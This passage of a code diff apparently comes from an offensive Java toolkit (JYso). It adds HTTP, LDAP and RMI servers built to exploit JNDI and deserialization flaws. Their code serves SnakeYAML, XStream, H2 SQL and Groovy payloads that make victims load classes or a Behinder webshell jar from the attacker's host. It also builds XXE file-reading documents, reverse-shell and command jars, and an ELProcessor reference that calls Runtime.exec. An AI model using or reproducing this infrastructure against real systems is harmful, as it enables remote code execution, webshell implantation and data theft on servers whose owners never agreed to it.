NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[1] = clazz3; + Class clazz4 = class$2; + if (clazz4 == null) { + try { + clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); + } catch (ClassNotFoundException classNotFoundException) { + throw new NoClassDefFoundError(classNotFoundException.getMessage()); + } + } + classArray[2] = clazz4; + clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); + } catch (Throwable throwable) { + // empty catch block + } + } + + public void run() { + try { + this.getShell(); + } catch (Exception exception) { + System.out.println(exception); + // empty catch block + } + } + + public String get(String key) { + try { + return new String((byte[]) this.parameterMap.get(key)); + } catch (Exception e) { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/JYso/HTTPServer.java b/src/main/java/com/qi4l/JYso/HTTPServer.java new file mode 100644 index 0000000..8ddb9dd --- /dev/null +++ b/src/main/java/com/qi4l/JYso/HTTPServer.java @@ -0,0 +1,607 @@ +package com.qi4l.JYso; + +import cn.hutool.core.io.file.FileReader; +import com.qi4l.JYso.gadgets.Config.Config; +import com.qi4l.JYso.gadgets.utils.Cache; +import com.qi4l.JYso.gadgets.utils.Util; +import com.qi4l.JYso.template.CommandTemplate; +import com.qi4l.JYso.template.DnslogTemplate; +import com.qi4l.JYso.template.ReverseShellTemplate; +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpHandler; +import com.sun.net.httpserver.HttpServer; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.lang3.reflect.FieldUtils; + +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.net.InetSocketAddress; +import java.nio.charset.StandardCharsets; +import java.util.Arrays; +import java.util.HashMap; +import java.util.Map; +import java.util.jar.JarOutputStream; +import java.util.zip.ZipEntry; + +import static org.fusesource.jansi.Ansi.ansi; + +public class HTTPServer { + //获取根目录路径 + public static String cwd = System.getProperty("user.dir"); + + public static void start() throws IOException { + + HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0); + httpServer.createContext("/", new HttpHandler() { + @Override + public void handle(HttpExchange httpExchange) { + try { + System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); + + String qi = String.valueOf(httpExchange.getRequestURI()); + + + if (qi.contains("setPathAlias")) { + Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); + } else if (qi.contains("setRoute")) { + Config.ROUTE = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); + } + + String path = httpExchange.getRequestURI().getPath(); + if (path.endsWith(".class")) { + handleClassRequest(httpExchange); + } else if (path.endsWith(".wsdl")) { + handleWSDLRequest(httpExchange); + } else if (path.endsWith(".jar")) { + handleJarRequest(httpExchange); + } else if (path.startsWith("/xxelog")) { + handleXXELogRequest(httpExchange); + } else if (path.endsWith(".sql")) { + handleSQLRequest(httpExchange); + } else if (path.endsWith(".groovy")) { + handlerGroovyRequest(httpExchange); + } else if (path.endsWith(".xml")) { + handleXMLRequest(httpExchange); + } else if (path.endsWith(".txt")) { + handleTXTRequest(httpExchange); + } else if (path.endsWith(".yml")) { + handleYmlRequest(httpExchange); + } else { + handleFileRequest(httpExchange); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + }); + + httpServer.setExecutor(null); + httpServer.start(); + System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "...")); + } + + private static void handleFileRequest(HttpExchange exchange) throws Exception { + System.out.println("[-] 请求的后缀不对"); + String path = exchange.getRequestURI().getPath(); + String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); + File file = new File(filename); + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + FileInputStream fileInputStream = new FileInputStream(file); + fileInputStream.read(bytes); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + + } + + private static void handleYmlRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); +// String host = exchange.getRequestURI().getHost(); + String YamlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + String bytes = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"http://" + Config.ip + ":" + Config.httpPort + "/behinder3.jar\"]\n" + + " ]]\n" + + "]\n"; + + if (YamlName.equalsIgnoreCase("snake")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); +// exchange.sendResponseHeaders(200, yaml.getObject().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); +// exchange.getResponseBody().write(yaml.getObject("UTF-8")); + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + YamlName + ".yml"); + if (file.exists()) { + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + } + + public static void handleTXTRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String txtname = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + if (txtname.equalsIgnoreCase("isok")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + byte[] bytes = "success!".getBytes(); + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + txtname + ".txt"); + + if (file.exists()) { + + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: @|" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + public static void handleXMLRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); +// String host = exchange.getRequestURI().getHost(); + String xmlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + String bytes = "\n \n"; + String xstream = "\n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " false\n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " 1008\n" + + " true\n" + + " 1000\n" + + " 0\n" + + " 2\n" + + " 0\n" + + " 0\n" + + " 0\n" + + " true\n" + + " 1004\n" + + " false\n" + + " ldap://" + Config.ip + ":1389/basic/TomcatMemShell3\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " -1\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " com.sun.rowset.JdbcRowSetImpl\n" + + " getDatabaseMetaData\n" + + " \n" + + " \n" + + " foo\n" + + " \n" + + " foo\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " false\n" + + " 0\n" + + " 0\n" + + " false\n" + + " \n" + + " false\n" + + " \n" + + " \n" + + " \n" + + " 0\n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + " \n" + + ""; + + if (xmlName.equals("a")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + } else if (xmlName.equals("x")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); + exchange.sendResponseHeaders(200, xstream.getBytes().length + 1); + exchange.getResponseBody().write(xstream.getBytes(StandardCharsets.UTF_8)); + + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + xmlName + ".xml"); + + if (file.exists()) { + byte[] bytes1 = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes1); + } + exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes1); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + } + + public static void handleSQLRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); + String sqlName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (sqlName.equalsIgnoreCase("echo")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + String name = String.valueOf(System.nanoTime()); + String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap://" + host + ":1389/TomcatBypass/TomcatEcho\");',' 'o.setAutoCommit(\"true\");,'}');" + + "CALL " + name + "();\"}"; + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + } else if (sqlName.equalsIgnoreCase("inject")) { + System.out.println("@|green Response Code: |@" + 200); + + String name = String.valueOf(System.nanoTime()); + String bytes = "CREATE ALIAS " + name + " AS CONCAT('void ex()throws Exception" + + "{Object o = com.sun.rowset.JdbcRowSetImpl();',' o.setDataSourceName(\"ldap:// + host + :1389/inject.class\");',' 'o.setAutoCommit(\"true\");,'}');" + + "CALL " + name + "();\"}"; + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + + } else { + + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + sqlName + ".sql"); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + public static void handlerGroovyRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String host = exchange.getRequestURI().getHost(); + String exp = "/TomcatBypass/TomcatEcho"; + String groovyName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (groovyName.equalsIgnoreCase("groovyecho")) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + String bytes = "class demo {\n" + + " static void main(){\n" + + " com.sun.rowset.JdbcRowSetImpl o = new com.sun.rowset.JdbcRowSetImpl();\n" + + " o.setDataSourceName(\"ldap://" + host + ":1389" + exp + "\");\n" + + " o.setAutoCommit(true);\n" + + " }\n" + + "}\n"; + + exchange.sendResponseHeaders(200, bytes.getBytes().length + 1); + exchange.getResponseBody().write(bytes.getBytes(StandardCharsets.UTF_8)); + + } else { + String pa = cwd + File.separator + "data"; + File file = new File(pa + File.separator + groovyName + ".groovy"); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } +// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + } + + public static void handleXXELogRequest(HttpExchange exchange) throws IllegalAccessException, IOException { + Object exchangeImpl = FieldUtils.readField(exchange, "impl", true); + Object request = FieldUtils.readField(exchangeImpl, "req", true); + String startLine = (String) FieldUtils.readField(request, "startLine", true); + + System.out.println(ansi().render("@|green [+] XXE Attack Result: |@" + startLine)); + exchange.sendResponseHeaders(200, 0); + exchange.close(); + } + + private static void handleJarRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String jarName = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + + if (jarName.equalsIgnoreCase("behinder3")) { + byte[] bytes; + String filename = cwd + File.separator + "data" + File.separator + "behinder3.jar"; + FileReader fileReader = new FileReader(filename, "UTF-8"); + bytes = fileReader.readBytes(); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + + String filename = cwd + File.separator + "data" + File.separator + jarName + ".jar"; + File file = new File(filename); + if (file.exists()) { + byte[] bytes; + FileReader fileReader = new FileReader(filename, "UTF-8"); + bytes = fileReader.readBytes(); + exchange.sendResponseHeaders(200, bytes.length + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + + } + exchange.close(); + + + } + + private static void handleClassRequest(HttpExchange exchange) throws IOException { + String path = exchange.getRequestURI().getPath(); + String className = path.substring(path.lastIndexOf("/") + 1, path.lastIndexOf(".")); + System.out.println(ansi().render("@|green [+] Receive ClassRequest: |@" + className + ".class")); + if (Cache.contains(className)) { + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + + byte[] bytes = Cache.get(className); + exchange.sendResponseHeaders(200, bytes.length); + exchange.getResponseBody().write(bytes); + } else { + String pa = cwd + path; + File file = new File(pa); + + if (file.exists()) { + byte[] bytes = new byte[(int) file.length()]; + try (FileInputStream fileInputStream = new FileInputStream(file)) { + fileInputStream.read(bytes); + } + exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); + exchange.sendResponseHeaders(200, file.length()); + exchange.getResponseBody().write(bytes); + + System.out.println(ansi().render("@|green [+] 远程类加载成功 |@" + 200)); + System.out.println("-------------------------------------- JNDI Remote Refenrence Links --------------------------------------"); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + exchange.close(); + } + + private static void handleWSDLRequest(HttpExchange exchange) throws Exception { + String query = exchange.getRequestURI().getQuery(); + Map params = parseQuery(query); + + String path = exchange.getRequestURI().getPath().substring(1); + + if (path.startsWith("list")) { + //intended to list directories or read files on server + String file = params.get("file"); + if (file != null && !file.isEmpty()) { + String listWsdl = "" + + "\n" + + " \n" + + " %bbb;\n" + + "]>\n" + + "\n" + + " &ddd;\n" + + ""; + + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, listWsdl.getBytes().length); + exchange.getResponseBody().write(listWsdl.getBytes()); + } else { + System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + + } else if (path.startsWith("upload")) { + String type = params.get("type"); + + String[] args = null; + if (type.equalsIgnoreCase("command")) { + args = new String[]{params.get("cmd")}; + } else if (type.equalsIgnoreCase("dnslog")) { + args = new String[]{params.get("url")}; + } else if (type.equalsIgnoreCase("reverseshell")) { + args = new String[]{params.get("ip"), params.get("port")}; + } + + String jarName = createJar(type, args); + if (jarName != null) { + String uploadWsdl = ""; + + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, uploadWsdl.getBytes().length); + exchange.getResponseBody().write(uploadWsdl.getBytes()); + } else { + System.out.println(ansi().render("@|red [!] Missing or wrong argument|@")); + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + exchange.close(); + } else if (path.startsWith("http")) { + String xxhttp = "'>'>%ccc;"; + System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); + exchange.sendResponseHeaders(200, xxhttp.getBytes().length); + exchange.getResponseBody().write(xxhttp.getBytes()); + exchange.close(); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + exchange.close(); + } + } + + private static Map parseQuery(String query) { + Map params = new HashMap<>(); + + try { + for (String str : query.split("&")) { + try { + String[] parts = str.split("=", 2); + params.put(parts[0], parts[1]); + } catch (Exception e) { + //continue + } + } + } catch (Exception e) { + //continue + } + + return params; + } + + /* + 由于我本地安装的 Websphere 在加载本地 classpath 这一步复现不成功 + 这里不确定 websphere 这种方式在多次操作时 Class 文件名相同时是否会存在问题 + 目前暂时认为其不会有问题,如果有问题,后面再修改 + */ + private static String createJar(String type, String... params) throws Exception { + byte[] bytes; + String className = "xExportObject"; + + switch (type.toLowerCase()) { + case "command": + CommandTemplate commandTemplate = new CommandTemplate(params[0], "xExportObject"); + bytes = commandTemplate.getBytes(); + break; + case "dnslog": + DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0], "xExportObject"); + bytes = dnslogTemplate.getBytes(); + break; + case "reverseshell": + ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject"); + bytes = reverseShellTemplate.getBytes(); + break; + case "webspherememshell": + ClassPool classPool = ClassPool.getDefault(); + CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate"); + exploitClass.setName(className); + exploitClass.detach(); + bytes = exploitClass.toBytecode(); + break; + default: + return null; + } + + System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className)); + ByteArrayOutputStream bout = new ByteArrayOutputStream(); + JarOutputStream jarOut = new JarOutputStream(bout); + jarOut.putNextEntry(new ZipEntry(className + ".class")); + jarOut.write(bytes); + jarOut.closeEntry(); + jarOut.close(); + bout.close(); + + String jarName = Util.getRandomString(); + Cache.set(jarName, bout.toByteArray()); + + return jarName; + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/LdapServer.java b/src/main/java/com/qi4l/JYso/LdapServer.java new file mode 100644 index 0000000..cbf6ec4 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/LdapServer.java @@ -0,0 +1,121 @@ +package com.qi4l.JYso; + +import com.qi4l.JYso.controllers.LdapController; +import com.qi4l.JYso.controllers.LdapMapping; +import com.qi4l.JYso.controllers.utils.AESUtils; +import com.qi4l.JYso.gadgets.Config.Config; +import com.unboundid.ldap.listener.InMemoryDirectoryServer; +import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; +import com.unboundid.ldap.listener.InMemoryListenerConfig; +import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.reflections.Reflections; + +import javax.net.ServerSocketFactory; +import javax.net.SocketFactory; +import javax.net.ssl.SSLSocketFactory; +import java.lang.reflect.Constructor; +import java.net.InetAddress; +import java.util.Set; +import java.util.TreeMap; + +import static com.qi4l.JYso.gadgets.Config.Config.*; +import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode; +import static org.fusesource.jansi.Ansi.ansi; + + +public class LdapServer extends InMemoryOperationInterceptor { + + public static TreeMap routes = new TreeMap<>(); + + public LdapServer() throws Exception { + + //find all classes annotated with @LdapMapping + Set> controllers = new Reflections(this.getClass().getPackage().getName()) + .getTypesAnnotatedWith(LdapMapping.class); + + //instantiate them and store in the routes map + for (Class controller : controllers) { + Constructor cons = controller.getConstructor(); + LdapController instance = (LdapController) cons.newInstance(); + String[] mappings = controller.getAnnotation(LdapMapping.class).uri(); + for (String mapping : mappings) { + if (mapping.startsWith("/")) { + mapping = mapping.substring(1); //remove first forward slash + routes.put(mapping, instance); + } + } + } + } + + public static void start() { + try { + InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com"); + + serverConfig.setListenerConfigs(new InMemoryListenerConfig( + "listen", + InetAddress.getByName("0.0.0.0"), + Config.ldapPort, + ServerSocketFactory.getDefault(), + SocketFactory.getDefault(), + (SSLSocketFactory) SSLSocketFactory.getDefault())); + if (!USER.equals("") || !PASSWD.equals("")) { + serverConfig.addAdditionalBindCredentials(USER, PASSWD); + } + + //添加操作拦截器 + //将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。 + serverConfig.addInMemoryOperationInterceptor(new LdapServer()); + InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig); + ds.startListening(); + System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "...")); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + public void processSearchResult(InMemoryInterceptedSearchResult result) { + String base; + if (!ROUTE.equals("")) { + base = ROUTE; + } else { + base = result.getRequest().getBaseDN(); + } + try { + if (!AESkey.equals("123")) { + base = base64Decode(base); + base = AESUtils.decrypt(base, AESkey); + } + } catch (Exception AESerr) { + + } + + //收到ldap请求 + //System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base)); + LdapController controller = null; + //find controller + //根据请求的路径从route中匹配相应的controller + for (String key : routes.keySet()) { + //compare using wildcard at the end + if (base.toLowerCase().startsWith(key)) { + controller = routes.get(key); + break; + } + } + + + if (controller == null) { + System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base)); + return; + } + + try { + //从控制器中进行返回 + controller.process(base); + controller.sendResult(result, base); + } catch (Exception e1) { + System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage())); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/RMIServer.java b/src/main/java/com/qi4l/JYso/RMIServer.java new file mode 100644 index 0000000..a64d4a4 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/RMIServer.java @@ -0,0 +1,323 @@ +package com.qi4l.JYso; + + +import com.qi4l.JYso.controllers.rmi.Basic; +import com.qi4l.JYso.controllers.rmi.ELProcessor; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.jndi.rmi.registry.ReferenceWrapper; +import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.apache.naming.ResourceRef; +import org.fusesource.jansi.Ansi; +import sun.rmi.server.UnicastServerRef; +import sun.rmi.transport.TransportConstants; + +import javax.naming.Reference; +import javax.naming.StringRefAddr; +import javax.net.ServerSocketFactory; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteObject; +import java.rmi.server.UID; +import java.util.Arrays; + +import static com.qi4l.JYso.gadgets.Config.Config.*; +import static org.fusesource.jansi.Ansi.ansi; + + +/** + * Generic JRMP listener + *

+ * JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory. + *

+ * This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121. + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class RMIServer extends InMemoryOperationInterceptor implements Runnable { + + private final ServerSocket ss; + private final Object waitLock = new Object(); + private final URL classpathUrl; + private boolean exit; + + + public RMIServer(int port, URL classpathUrl) throws IOException { + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(port); + } + + public static void start() { + String url = "http://" + ip + ":" + rmiPort; + + try { + System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + rmiPort + "...")); + RMIServer c = new RMIServer(rmiPort, new URL(url)); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + public static ResourceRef execByEL() { + + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "x=eval")); + ref.add(new StringRefAddr("x", String.format( + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" + + "\"java.lang.Runtime.getRuntime().exec('%s')\"" + + ")", + command + ))); + + return ref; + } + + private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); + } + + public void close() { + this.exit = true; + try { + this.ss.close(); + } catch (IOException ignored) { + } + synchronized (this.waitLock) { + this.waitLock.notify(); + } + } + + @Override + public void run() { + try { + Socket s = null; + try { + while (!this.exit && (s = this.ss.accept()) != null) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + //System.err.println("[+] Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + try (DataInputStream in = new DataInputStream(bufIn)) { + int magic = in.readInt(); + + short version = in.readShort(); + if (magic != TransportConstants.Magic || version != TransportConstants.Version) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + try (DataOutputStream out = new DataOutputStream(bufOut)) { + + byte protocol = in.readByte(); + switch (protocol) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if (remote.getHostName() != null) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } + } + } catch (InterruptedException e) { + return; + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset()); + s.close(); + } + + } + + } finally { + if (s != null) { + s.close(); + } + if (this.ss != null) { + this.ss.close(); + } + } + + } catch (SocketException ignored) { + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception { + //System.err.println("[+] RMI服务器 >> 正在读取信息"); + + int op = in.read(); + + switch (op) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID.read(in); + break; + + default: + throw new IOException(" RMI 服务器 >> 无法识别:" + op); + } + + s.close(); + } + + private void doCall(DataInputStream in, DataOutputStream out) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass(ObjectStreamClass desc) throws IOException { + if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ("java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } else if ("java.lang.String".equals(desc.getName())) { + return String.class; + } + throw new IOException(" RMI 服务器 >> 无法读取 Object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } catch (IOException e) { + throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e); + } + + if (read.hashCode() == 2) { + // DGC + handleDGC(ois); + } else if (read.hashCode() == 0) { + if (handleRMI(ois, out)) { + synchronized (this.waitLock) { + this.waitLock.notifyAll(); + } + } + } + + } + + private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception { + int method = ois.readInt(); // method + ois.readLong(); // hash + + if (method != 2) { // lookup + return false; + } + + String object = (String) ois.readObject(); + //System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method)); + out.writeByte(TransportConstants.Return); // transport op + try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) { + + oos.writeByte(TransportConstants.NormalReturn); + new UID().write(oos); + + //反射调用的类名 + ReferenceWrapper rw = null; + + if (object.startsWith("ELProcessor")) { + ResourceRef result = ELProcessor.refTomcatBypass(object); + rw = new ReferenceWrapper(result); + } else if (object.startsWith("basic")) { + rw = Reflections.createWithoutConstructor(ReferenceWrapper.class); + Reference result = Basic.basic(object); + Reflections.setFieldValue(rw, "wrappee", result); + } + + Field refF = RemoteObject.class.getDeclaredField("ref"); + refF.setAccessible(true); + refF.set(rw, new UnicastServerRef(12345)); + + oos.writeObject(rw); + + oos.flush(); + out.flush(); + } + return true; + } + + static final class MarshalOutputStream extends ObjectOutputStream { + + private final URL sendUrl; + + + public MarshalOutputStream(OutputStream out, URL u) throws IOException { + super(out); + this.sendUrl = u; + } + + + @Override + protected void annotateClass(Class cl) throws IOException { + if (this.sendUrl != null) { + writeObject(this.sendUrl.toString()); + } else if (!(cl.getClassLoader() instanceof URLClassLoader)) { + writeObject(null); + } else { + URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs(); + StringBuilder cb = new 